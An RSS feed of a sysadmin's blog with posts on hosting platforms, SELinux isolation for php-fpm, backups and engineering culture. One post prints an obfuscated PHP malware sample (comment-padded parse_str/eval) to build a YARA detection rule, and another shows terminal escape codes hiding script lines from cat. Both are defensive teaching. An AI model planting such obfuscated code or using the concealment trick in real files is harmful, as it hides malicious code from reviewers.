<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:version="2.0"><channel><title>Roscoe Skeens - My Blog</title><description>A blog</description><link>https://blog.rskeens.com/</link><language>en</language><item><title>Not all Features are Capabilities</title><link>https://blog.rskeens.com/blog/not-all-features-are-capabilities/</link><guid isPermaLink="true">https://blog.rskeens.com/blog/not-all-features-are-capabilities/</guid><description>Is your platform outsourced?</description><content:encoded>&lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://blog.rskeens.com/blog/not-all-features-are-capabilities/&quot;&gt;https://blog.rskeens.com/blog/not-all-features-are-capabilities/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;Web hosting service providers list features but many are not their own solutions.&lt;/p&gt;
&lt;p&gt;Web hosts capable of engineering their own platform gain control of their destiny but the level of technical expertise needed to develop such a platform is out of reach for most, which is off the shelf solutions such as cPanel are so common.&lt;/p&gt;
&lt;p&gt;A provider&amp;#39;s technical competence is a direct correlation to how much of their platform is their own. This extends further than developing an in house solution from scratch, it can even include the inability for basic research to understand and configure already existing open source solutions - many of which are better than commercial options.&lt;/p&gt;
&lt;p&gt;Commercial platforms such as cPanel are increasingly expensive to licence. In addition there are secondary commercial solutions such as the LiteSpeed web server and JetBackup. These are foundational components to web servers yet they are outsourced when better open source solutions exist. Web hosts should be at a minimum be able to implement these features in house yet can&amp;#39;t because they do not view themselves as tech companies.&lt;/p&gt;
&lt;p&gt;It should be a strategic priority for web host providers to replace cPanel. Depending on the fleet size, the licence fees can certainly offset engineering salaries. Gain a &amp;quot;free&amp;quot; engineer along with a more modern and custom platform. It seems an impossible task for these providers because their talent pool is misaligned to that or similar objective.&lt;/p&gt;
&lt;p&gt;cPanel is no longer a strong selling point and customers are now used to custom platforms. A more powerful custom platform with reward of no price increases should hopefully become more standard.&lt;/p&gt;
&lt;p&gt;How much of your platform is outsourced? Web hosts should be more commonly viewed as tech companies because that is what they are.&lt;/p&gt;
</content:encoded><dc:creator>Roscoe Skeens - My Blog</dc:creator><pubDate>Sun, 01 Mar 2026 00:00:00 GMT</pubDate></item><item><title>SELinux Based Isolation</title><link>https://blog.rskeens.com/blog/isolation-using-selinux/</link><guid isPermaLink="true">https://blog.rskeens.com/blog/isolation-using-selinux/</guid><description>Is open_basedir enough?</description><content:encoded>&lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://blog.rskeens.com/blog/isolation-using-selinux/&quot;&gt;https://blog.rskeens.com/blog/isolation-using-selinux/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;SELinux (Security-Enhanced Linux) is one of the most powerful tools to manage user space access control, although it can be particularly complex to implement. A very steep learning curve causes it to be usually overlooked. The web hosting industry hardly ever uses SELinux, especially when products like cPanel requires it to be disabled.&lt;/p&gt;
&lt;p&gt;Traditional access control in the simplest terms, that being &lt;code&gt;users&lt;/code&gt; and &lt;code&gt;groups&lt;/code&gt; can be referred to as &amp;quot;Discretionary Access Control&amp;quot; (DAC). In contrast, SELinux offers the ability to add a layer of &amp;quot;Mandatory Access Control&amp;quot; (MAC). Even if a process has relevant &lt;code&gt;user&lt;/code&gt; and &lt;code&gt;permissions&lt;/code&gt;, SELinux can still block unauthorised actions. As an added bonus, all blocked actions are logged. The added observability alone could be reason enough to build around it.&lt;/p&gt;
&lt;p&gt;Shown is an example of &lt;code&gt;php-fpm&lt;/code&gt; for two sites &lt;code&gt;selinux.rskeens.com&lt;/code&gt; and &lt;code&gt;private.rskeens.com&lt;/code&gt;. DAC based tightening with &lt;code&gt;open_basedir&lt;/code&gt; is effective and almost every web host will leave it at that because it is simple and straight forward. Perhaps even housing each site in a container will be considered in an effort to achieve even stronger isolation.&lt;/p&gt;
&lt;p&gt;Since we are using &lt;code&gt;php-fpm&lt;/code&gt;, we need a new SELinux domain to initiate per pool, making &lt;code&gt;systemd&lt;/code&gt; a great option. Otherwise if those processes were forked, then they would normally all inherit the same SELinux domain.&lt;/p&gt;
&lt;p&gt;Once &lt;code&gt;php-fpm&lt;/code&gt; is set up with the pool as its own service, we need two categories of config files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Type Enforcement (.te) = define policy rules against labeled subjects / objects.&lt;/li&gt;
&lt;li&gt;File Contexts (.fc) = map filesystem paths to labels.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let us start with a very basic Type Enforcement file for &lt;code&gt;selinux.rskeens.com&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-selinux_rskeens_com.te&quot;&gt;policy_module(selinux_rskeens_com, 1.0)

require {
  class file { read getattr open map };
  class dir { read getattr search open };
  class sock_file { create write read append getattr unlink };
}

type selinux_rskeens_com_php_t;
type selinux_rskeens_com_php_exec_t;

type selinux_rskeens_com_docroot_t;
files_type(selinux_rskeens_com_docroot_t)

type selinux_rskeens_com_socket_t;
files_pid_file(selinux_rskeens_com_socket_t)

allow selinux_rskeens_com_php_t selinux_rskeens_com_docroot_t:dir { read getattr search open };
allow selinux_rskeens_com_php_t selinux_rskeens_com_docroot_t:file { read getattr open map };

manage_files_pattern(selinux_rskeens_com_php_t, selinux_rskeens_com_socket_t, selinux_rskeens_com_socket_t)
manage_sock_files_pattern(selinux_rskeens_com_php_t, selinux_rskeens_com_socket_t, selinux_rskeens_com_socket_t)
files_pid_filetrans(selinux_rskeens_com_php_t, selinux_rskeens_com_socket_t, { file sock_file })

init_daemon_domain(selinux_rskeens_com_php_t, selinux_rskeens_com_php_exec_t)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The syntax can be intimidating at first but we now have a quite beautiful layout for the service via &lt;code&gt;init_daemon_domain&lt;/code&gt; comprising of php type &lt;code&gt;selinux_rskeens_com_php_t&lt;/code&gt; with exec &lt;code&gt;selinux_rskeens_com_php_exec_t&lt;/code&gt; plus document root &lt;code&gt;selinux_rskeens_com_docroot_t&lt;/code&gt; and even socket file &lt;code&gt;selinux_rskeens_com_socket_t&lt;/code&gt;. Real world setups would have more complex configurations to adjust mutability per path such as uploads, sessions and logs.&lt;/p&gt;
&lt;p&gt;Now that we have &lt;code&gt;selinux_rskeens_com&lt;/code&gt; policy, we can move on to the File Contexts file:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-selinux_rskeens_com.fc&quot;&gt;/usr/sbin/php-fpm-selinux-rskeens-com -- gen_context(system_u:object_r:selinux_rskeens_com_php_exec_t,s0)
/srv/www/selinux.rskeens.com(/.*)?	     gen_context(system_u:object_r:selinux_rskeens_com_docroot_t,s0)
/run/php-selinux-rskeens-com\.sock       gen_context(system_u:object_r:selinux_rskeens_com_socket_t,s0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Everything is now ready to compile a Policy Package (.pp) file:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;make -f /usr/share/selinux/devel/Makefile selinux_rskeens_com.pp
Compiling targeted selinux_rskeens_com module
Creating targeted selinux_rskeens_com.pp policy package
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Even if a Policy Package file successfully compiles, its usability is still not certain until &lt;code&gt;semodule&lt;/code&gt; is used. This is admittedly frustrating and can make debugging difficult. Fortunately everything works well for us:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;semodule -i selinux_rskeens_com.pp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A final implementation step requires contexts to be restored, this is done using &lt;code&gt;restorecon&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;restorecon -Rv /usr/sbin/php-fpm-selinux-rskeens-com \
/srv/www/selinux.rskeens.com

Relabeled /srv/www/selinux.rskeens.com from unconfined_u:object_r:httpd_sys_content_t:s0 to unconfined_u:object_r:selinux_rskeens_com_docroot_t:s0
Relabeled /srv/www/selinux.rskeens.com/index.html from unconfined_u:object_r:httpd_sys_content_t:s0 to unconfined_u:object_r:selinux_rskeens_com_docroot_t:s0
Relabeled /srv/www/selinux.rskeens.com/info.php from unconfined_u:object_r:httpd_sys_content_t:s0 to unconfined_u:object_r:selinux_rskeens_com_docroot_t:s0
Relabeled /srv/www/selinux.rskeens.com/test.php from unconfined_u:object_r:httpd_sys_content_t:s0 to unconfined_u:object_r:selinux_rskeens_com_docroot_t:s0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Service &lt;code&gt;php-fpm-selinux-rskeens-com&lt;/code&gt; can then be restarted. Check the setup:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ps -eZ | grep php
system_u:system_r:selinux_rskeens_com_php_t:s0 40639 ? 00:00:00 php-fpm-selinux
system_u:system_r:selinux_rskeens_com_php_t:s0 40640 ? 00:00:00 php-fpm-selinux
system_u:system_r:selinux_rskeens_com_php_t:s0 40641 ? 00:00:00 php-fpm-selinux
system_u:system_r:selinux_rskeens_com_php_t:s0 40642 ? 00:00:00 php-fpm-selinux
system_u:system_r:selinux_rskeens_com_php_t:s0 40643 ? 00:00:00 php-fpm-selinux
system_u:system_r:selinux_rskeens_com_php_t:s0 40644 ? 00:00:00 php-fpm-selinux
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Looks good. Now a test can be performed by attempting to read the contents of private file &lt;code&gt;secret&lt;/code&gt; of document root &lt;code&gt;private.rskeens.com&lt;/code&gt; from &lt;code&gt;selinux.rskeens.com&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type=AVC msg=audit(1759666772.576:14792): avc:  denied  { open } for  pid=40846 comm=&amp;quot;php-fpm-selinux&amp;quot; path=&amp;quot;/srv/www/private.rskeens.com/secret&amp;quot; dev=&amp;quot;sda1&amp;quot; ino=133665 scontext=system_u:system_r:selinux_rskeens_com_php_t:s0 tcontext=unconfined_u:object_r:httpd_sys_content_t:s0 tclass=file permissive=1

type=AVC msg=audit(1759666772.576:14792): avc:  denied  { read } for  pid=40846 comm=&amp;quot;php-fpm-selinux&amp;quot; name=&amp;quot;secret&amp;quot; dev=&amp;quot;sda1&amp;quot; ino=133665 scontext=system_u:system_r:selinux_rskeens_com_php_t:s0 tcontext=unconfined_u:object_r:httpd_sys_content_t:s0 tclass=file permissive=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At this point extensive testing should first be done with &lt;code&gt;permissive&lt;/code&gt; mode remaining active. There will be a lot of tweaks needed but eventually the setup will be working perfectly.&lt;/p&gt;
&lt;p&gt;Once ready, switch to &lt;code&gt;enforce&lt;/code&gt; mode by editing &lt;code&gt;/etc/selinux/config&lt;/code&gt; to set &lt;code&gt;SELINUX=enforcing&lt;/code&gt;. Reboot the system and use the command &lt;code&gt;getenforce&lt;/code&gt; to be absolutely certain enforcement is live across system restarts.&lt;/p&gt;
</content:encoded><dc:creator>Roscoe Skeens - My Blog</dc:creator><pubDate>Sun, 05 Oct 2025 00:00:00 GMT</pubDate></item><item><title>Work Culture Predicts Innovation</title><link>https://blog.rskeens.com/blog/work-culture-predicts-innovation/</link><guid isPermaLink="true">https://blog.rskeens.com/blog/work-culture-predicts-innovation/</guid><description>The loss of experimentation</description><content:encoded>&lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://blog.rskeens.com/blog/work-culture-predicts-innovation/&quot;&gt;https://blog.rskeens.com/blog/work-culture-predicts-innovation/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;It could be thought that the availability of talent proportionately determines the level of innovation accomplished at a workplace but that are other influential modifiers. The most common which comes to mind is office politics but there is an even greater cultural effect.&lt;/p&gt;
&lt;p&gt;The simplest categories can be either &amp;quot;Just Culture&amp;quot; or &amp;quot;Blame Culture&amp;quot;. Let&amp;#39;s briefly describe each:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Just culture is a concept related to systems thinking which emphasizes that mistakes are generally a product of faulty organizational cultures, rather than solely brought about by the person or persons directly involved. In a just culture, after an incident, the question asked is, &amp;quot;what went wrong?&amp;quot; rather than &amp;quot;who caused the problem?&amp;quot;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;In a blame culture, problem-solving is replaced by blame avoidance. Blame generates &amp;quot;fear, errors, accidents and passive-aggression&amp;quot; with those feeling powerless and lacking emotional safety. Organisational chaos, such as confused roles and responsibilities, is strongly associated with blame culture.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A seasoned engineering team exhibits open discussion about new developments and areas to leverage them. Any failure, even if significant does not stir panic. A controlled communication with elements of maturity founded from experience forms with focus entirely on the problem.&lt;/p&gt;
&lt;p&gt;The individuals with the rarest and most sought after tech talent enjoy systems thinking. Something which should not have happened did and the follow up investigation is enjoyable because it builds a hypothesis which tests their knowledge. Any individual responsible is completely irrelevant because the situation presents an opportunity to add any missing guard rails and generally improve the product.&lt;/p&gt;
&lt;p&gt;The most valuable concepts such as experimentation and providing opinions shift from discovery to instead bearing risk.&lt;/p&gt;
&lt;p&gt;Businesses which benefit greatly from innovation and technological advancement, especially when developed in house are set up to fail with a blame culture.&lt;/p&gt;
</content:encoded><dc:creator>Roscoe Skeens - My Blog</dc:creator><pubDate>Thu, 24 Jul 2025 00:00:00 GMT</pubDate></item><item><title>Malware Pattern Matching</title><link>https://blog.rskeens.com/blog/malware-pattern-matching/</link><guid isPermaLink="true">https://blog.rskeens.com/blog/malware-pattern-matching/</guid><description>More than only regex</description><content:encoded>&lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://blog.rskeens.com/blog/malware-pattern-matching/&quot;&gt;https://blog.rskeens.com/blog/malware-pattern-matching/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;Obfuscated malware code can be challenging to detect, let alone read. The era of generative language models empowers malware authors to increase the level of obfuscation with ease. When confronted with a newly discovered sample, it is the security researcher&amp;#39;s responsibility to create a suitable signature so to improve the rate of detection.&lt;/p&gt;
&lt;p&gt;Currently the most popular method of PHP malware obfuscation is use of randomly generated comments. A preview of just how aggressive this technique can be shown below:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php /*d&amp;amp;m-(H@AnJ#(F5+*/parse_str#U=~LxnADRDY!:3Y@f!`m!&amp;quot;aGcz
(/*A4y4,bzBv}f0.-TKoj(WG}WEr*///|lvjIKl_qyh=l|*/Dib22$rt&amp;gt;&amp;quot;M3BHpZFKo($p
&amp;#39;0&amp;#39;//RV (H# r=I}sR6#?xGf{pI3},8&amp;quot;*,C:V`dV&amp;amp;+k n&amp;lt;T.V
.//hOPD5,EEl&amp;gt;D8pRU22gRx1HC`^Sb.|UWW
&amp;#39;=&amp;#39; #;&amp;amp;AGT9I&amp;gt;6}P.vxwE\?O #
.#R&amp;#39;eaw99\=~&amp;amp;[g[VeJ~iV,K+5!oX&amp;lt;nN^rh8:SUNxGI!W&amp;amp;*2c
&amp;#39;%&amp;#39;/*4Bd2WS$xZfdxSlci&amp;#39;&amp;#39;MUIF}t@,cp!)[#/]2R*/./*y;C_B2e!DL%t(=18(JJXL*crn~*/&amp;#39;6&amp;#39; 	//cr+@9aoHZ;3}ow%|R9grk
.#QTOgvGg0Jt4Cw1e&amp;gt;x&amp;quot;]NW
&amp;#39;1&amp;#39;/*Rp\PbMfd\2pV1|Tia;zU )\\Krb5vWf$abp&amp;gt;^1[h*/.  #&amp;amp;8&amp;amp;#8aJ?,&amp;quot;FVa6QN9jt;
&amp;#39;%&amp;#39;/*::x%_|c.9=8O%r:GOf iUR.td*/.#@yd(?allny0mL.xA*&amp;lt;^*&amp;#39;pK&amp;gt;5iwbuS,Lx+bA`
&amp;#39;7&amp;#39;/*gl/vx=)Gnl*&amp;#39;SP*/./*+:6=sY0$NE-}0N*b^5S&amp;lt;/KFCDQ0 U9nmG&amp;quot;lr.^*/&amp;#39;2&amp;#39;/*N1\`D &amp;quot;E_$#s29;o=.pOp^&amp;gt;X.7l=&amp;#39;vt*/. #ElB3\^V*@sWB/ms%&amp;lt;&amp;lt;HkN`a^
&amp;#39;%&amp;#39;// e] ,zLTRhk7%-4k#SoH=y6p6m
.//;Jv?ZUoG*Ajop&amp;quot;Y
&amp;#39;7&amp;#39;//&amp;#39;}Hc@&amp;amp;&amp;#39;1niOuNbE2lz wf+&amp;quot;Gj;`Rr%bYOP&amp;lt;M
. //Op^xtDgO3#9~k;:ZO*D*_za_-jj&amp;quot;7(gFq
&amp;#39;2&amp;#39;#=M4UG E;TqouT#++h}@0&amp;quot;a*h
.  /*Ni#q~:,%H%mg~z*/&amp;#39;%&amp;#39;//=ATw{[?49C}Q%T+U`\nT}Xa4=tmi
./*utbvA&amp;quot;.J3C6f;wSP{~&amp;amp;wbtyo7HHlD&amp;gt;s&amp;lt;5j+&amp;lt;ATQ8qov/?@[*/&amp;#39;6&amp;#39;#0Q,(Iy^%ze}CW5W,S9JwS4!p
;/*i0nDEG4u}$+*/@/*88I&amp;gt;p:f^Ynsgfeo1~A&amp;amp;&amp;amp;VQS~3Xf$(F[m{;^G&amp;quot;*/eval	/*&amp;gt;z-NHKm9.09~byL9k)s/]OM:}Nfd&amp;quot;uZ&amp;amp;N*/(#UWtZC$]1&amp;quot;&amp;#39;36{Fv9:7Z5V=]Xxoq?z
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Imagine being a responder to a website which has been affected by this malware, especially if not from a security background. What would the search pattern be for a &lt;code&gt;yara&lt;/code&gt; rule or even plain &lt;code&gt;grep&lt;/code&gt;? A first take might assume the starting numbers such as &lt;code&gt;&amp;#39;0&amp;#39;&lt;/code&gt;, &lt;code&gt;&amp;#39;1&amp;#39;&lt;/code&gt; or &lt;code&gt;&amp;#39;7&amp;#39;&lt;/code&gt; which is a perfectly valid observation. Perhaps the exposed &lt;code&gt;eval&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;The true weakness is abundance of &lt;code&gt;/* */&lt;/code&gt; PHP comments. These comments are randomly generated and placed but this otherwise powerful strategy will be used against it.&lt;/p&gt;
&lt;p&gt;First, we must ensure the regex is as simple and optimal as possible. In this case &lt;code&gt;$re = /\/\*\S{5,25}\*\//&lt;/code&gt; is perfect. It is extraordinarily rare for legitimate PHP comments to not contain whitepaces defined in flowerpot styling, especially groups of them.&lt;/p&gt;
&lt;p&gt;The next requirement is to ensure there are at least two such comments per line. This could be achieved using regex alone but that is not as resource efficient as using conditional &lt;code&gt;yara&lt;/code&gt; logic operators. Here is the condition:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yara&quot;&gt;condition:
  #re &amp;gt; 1 and
  @re[2] - (@re[1] + !re[1]) &amp;lt;= 64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The number of comment occurrences must be at least two, which for this malware is certain. It then compares the distance between the detections with a 64 byte threshold to ensure close proximity. It doesn&amp;#39;t guarantee to be on the same line but that is not a strict requirement.&lt;/p&gt;
&lt;p&gt;A single clean and concise expression in combination with built in &lt;code&gt;yara&lt;/code&gt; conditions results in a powerful rule which can not only detect this specific sample but varients of it with immense accuracy. No other aspects of the malware need consideration. It can even detect entirely entirely different malware as long as the same commonly used obfuscation technique is involved.&lt;/p&gt;
&lt;p&gt;There is no need for overly complex rules when the power of &lt;code&gt;yara&lt;/code&gt; is fully understood. It is not a regex only finite state machine.&lt;/p&gt;
</content:encoded><dc:creator>Roscoe Skeens - My Blog</dc:creator><pubDate>Wed, 23 Jul 2025 00:00:00 GMT</pubDate></item><item><title>Backup of Last Resort</title><link>https://blog.rskeens.com/blog/backup-of-last-resort/</link><guid isPermaLink="true">https://blog.rskeens.com/blog/backup-of-last-resort/</guid><description>Customer data is sacred</description><content:encoded>&lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://blog.rskeens.com/blog/backup-of-last-resort/&quot;&gt;https://blog.rskeens.com/blog/backup-of-last-resort/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;The web hosting industry is increasingly entering an truly unfortunate &amp;quot;profit center&amp;quot; trend. What was once universally standard features have become optional add - on services. Security and backups appear to be most commonly affected. Let&amp;#39;s discuss backups.&lt;/p&gt;
&lt;p&gt;There is a term used in finance called &amp;quot;lender of last resort&amp;quot; &lt;a href=&quot;https://en.wikipedia.org/wiki/Lender_of_last_resort&quot;&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;In public finance, a lender of last resort (LOLR) is the institution in a financial system that acts as the provider of liquidity to a financial institution which finds itself unable to obtain sufficient liquidity in the interbank lending market when other facilities or such sources have been exhausted.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Service providers face worst case risks every day from security breaches to disasters involving natural and unnatural hazards. These risks can be trivialised for lack of comprehension because &lt;strong&gt;the specific event is not of great relevance&lt;/strong&gt;. The outcome is always the same: complete loss of data.&lt;/p&gt;
&lt;p&gt;Customers entrust providers to store their data and it should be expected that most will never download a backup. There is a common misconception that backups are entirely the responsibility of customers but this is not fair. An example to illustrate would involve customer data silently becoming corrupt. Assuming the customer was regularly storing their own backups, is it their fault when this leads to catastrophe?&lt;/p&gt;
&lt;p&gt;At an absolute minimum, a backup implementation should involve regular restore points delivered offsite. The term &amp;quot;remote&amp;quot; is often used by providers but it does not have the same meaning. All offsite backups are remote but not all remote backups are offsite. Remote backups are typically housed in the same facility but on different hardware, whereas offsite backups are stored in different geography.&lt;/p&gt;
&lt;p&gt;Backups of last resort can be held in long term cold storage. These backups are extremely low cost to maintain but especially expensive to retrieve, which is why they should only ever be used in complete worst case scenarios. Any business should be capable to afford this measure with example below there are 10 000 customer accounts of size 10GiB with AWS Glacier Deep Archive:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Total Storage: 91TiB&lt;/li&gt;
&lt;li&gt;Archive Average Object Size: 10GiB (single file archives)&lt;/li&gt;
&lt;li&gt;Request Count: 10 000&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;Total Monthly cost: $92.75
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Peace of mind for 10 000 customers for approximately 1 cent per month. As shown, it is unbelievably cheap to have a backup of last resort even for established businesses. Try yourself using the &lt;a href=&quot;https://calculator.aws/#/&quot;&gt;AWS Cost Calculator&lt;/a&gt; The business also indirectly benefits with improved security compliance, a factor which is usually overlooked.&lt;/p&gt;
&lt;p&gt;Of course a last resort restore requires that transferred to standard &lt;code&gt;s3&lt;/code&gt; and retrieval will cost thousands of Dollars. Is that not worth it to avoid so many people losing a part of themselves? Even if the business will cease to exist, those affected still deserve their data.&lt;/p&gt;
&lt;p&gt;If you are an engineer reading this and presenting similar solutions, do keep in mind that data might not be regarded sacred by others. I have personally seen discussions with outlined example worst case scenarios immediately dismissed because they seemed an impossibility without understanding the cause is irrelevant but &lt;em&gt;the outcome as always the same&lt;/em&gt;. Read the room and accept knowing the suggestion was not wasted because it exposes future expectations. As an engineer, my sympathy is with you.&lt;/p&gt;
&lt;p&gt;Consider this a reminder to safely store a backup because your provider might not regard it of importance.&lt;/p&gt;
</content:encoded><dc:creator>Roscoe Skeens - My Blog</dc:creator><pubDate>Wed, 16 Apr 2025 00:00:00 GMT</pubDate></item><item><title>Does cat see all?</title><link>https://blog.rskeens.com/blog/does-cat-see-all/</link><guid isPermaLink="true">https://blog.rskeens.com/blog/does-cat-see-all/</guid><description>Cursor manipulation to hide terminal output</description><content:encoded>&lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://blog.rskeens.com/blog/does-cat-see-all/&quot;&gt;https://blog.rskeens.com/blog/does-cat-see-all/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;Suspicious files must be examined to determine their content but can &lt;code&gt;cat&lt;/code&gt; be entirely trusted? An example of how output can be overwritten by manipulating cursor position using escape codes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;echo -e &amp;#39;#!/bin/sh\necho &amp;quot;malware&amp;quot;\nexit\n\033[A\033[Aecho &amp;quot;nothing to see here&amp;quot;&amp;#39; &amp;gt; script.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Without reading further, what output is expected for &lt;code&gt;cat script.sh&lt;/code&gt;? Let&amp;#39;s check:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cat script.sh 
#!/bin/sh
echo &amp;quot;nothing to see here&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;How about &lt;code&gt;more&lt;/code&gt; or &lt;code&gt;less&lt;/code&gt;? Would those display the entire content?&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;more script.sh
#!/bin/sh
echo &amp;quot;nothing to see here&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;less script.sh
#!/bin/sh
echo &amp;quot;malware&amp;quot;
exit
ESC[AESC[Aecho &amp;quot;nothing to see here&amp;quot;
script.sh (END)&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Trust your intuition regarding suspicious files until proven otherwise, don&amp;#39;t only rely on one tool.&lt;/p&gt;
</content:encoded><dc:creator>Roscoe Skeens - My Blog</dc:creator><pubDate>Mon, 07 Apr 2025 00:00:00 GMT</pubDate></item><item><title>The One of a Kind Engineer</title><link>https://blog.rskeens.com/blog/the-one-of-a-kind-engineer/</link><guid isPermaLink="true">https://blog.rskeens.com/blog/the-one-of-a-kind-engineer/</guid><description>More than experience</description><content:encoded>&lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://blog.rskeens.com/blog/the-one-of-a-kind-engineer/&quot;&gt;https://blog.rskeens.com/blog/the-one-of-a-kind-engineer/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;As long as there is no shortage of budget, there is no shortage of incredibly skilled engineers with each offering their own invaluable domain experience. When tasked to build or review a codebase, their results get delivered at a velocity the company has never seen before. For small companies, even faster than their own department.&lt;/p&gt;
&lt;p&gt;How do these engineers fare when not delegated tasks? To me, &lt;code&gt;agency&lt;/code&gt; and &lt;code&gt;persona&lt;/code&gt; are the primary differentiators between an incredible engineer and a one of a kind engineer &lt;/p&gt;
&lt;p&gt;The one of a kind engineer is capable of identifying gaps in tech that the business was not even aware of, exclusive of things done wrong. They have the &lt;code&gt;agency&lt;/code&gt; to formulate a solution without supervision. Their &lt;code&gt;persona&lt;/code&gt; has sufficient confidence to deliver, even if the challenge is formidable. Effort is made to empart knowledge because to them, the subject matter is an enjoyable discussion.&lt;/p&gt;
&lt;p&gt;There are often articles written about how &amp;quot;10x&amp;quot; developers don&amp;#39;t exist, describing how none have been encountered in their professional career even at prominent tech companies. One reason is because this calibre of engineer does not thrive within common company structures. Company politics and meeting burnout are devastating, compounded by failed comprehension of their ideas and philosophy effectively are to answer for these article conclusions.&lt;/p&gt;
&lt;p&gt;The incredible engineer who has both &lt;code&gt;agency&lt;/code&gt; and suitable &lt;code&gt;persona&lt;/code&gt; is truly immeasurable.&lt;/p&gt;
</content:encoded><dc:creator>Roscoe Skeens - My Blog</dc:creator><pubDate>Fri, 21 Mar 2025 00:00:00 GMT</pubDate></item><item><title>What Makes a Good Project</title><link>https://blog.rskeens.com/blog/what-decides-a-project/</link><guid isPermaLink="true">https://blog.rskeens.com/blog/what-decides-a-project/</guid><description>A personal approach to choosing projects</description><content:encoded>&lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://blog.rskeens.com/blog/what-decides-a-project/&quot;&gt;https://blog.rskeens.com/blog/what-decides-a-project/&lt;/a&gt;&lt;/blockquote&gt; &lt;p&gt;Coming from a background mainly involving information technology, there is a regular requirement to choose which solutions to use. This applies for both closed and open source options. Poorly selecting a project to include as part of a tech stack can be disastrous for the long term, regardless if it is initially superior on a technical level.&lt;/p&gt;
&lt;p&gt;Usually there are many possible choices with a few that stand out performance and feature wise. Those which are orders of magnitude better both in terms of documentation as well as technical quality can then be shortlisted. The most challenging part is then deciding amongst those which have been shortlisted. There can only be one and the stakes are sky high.&lt;/p&gt;
&lt;p&gt;My advice to anyone in this situation is to step back and observe the &lt;strong&gt;personalities&lt;/strong&gt; behind the projects. This is far easier when open source projects are involved:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Determine the tone from main contributors to their community of users. Are they respectful?&lt;/li&gt;
&lt;li&gt;Does the main contributor seem excited and overall enthusiastic?&lt;/li&gt;
&lt;li&gt;Is the overall community approachable?&lt;/li&gt;
&lt;li&gt;Most importantly, what is the perceived level of passion?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A stellar example of this could be the open source web server &lt;a href=&quot;https://github.com/caddyserver/caddy&quot;&gt;caddy&lt;/a&gt;. Matt Holt as main contributor is clearly passionate about the project but also the users. He can often be found helping tests pass and patiently answering questions no matter the skill level.&lt;/p&gt;
&lt;p&gt;While &lt;code&gt;caddy&lt;/code&gt; is already an excellent choice as a top performing web server, it reached its status because of Matt&amp;#39;s lifelong passion having started it during his time as a student over a &lt;em&gt;decade&lt;/em&gt; ago.&lt;/p&gt;
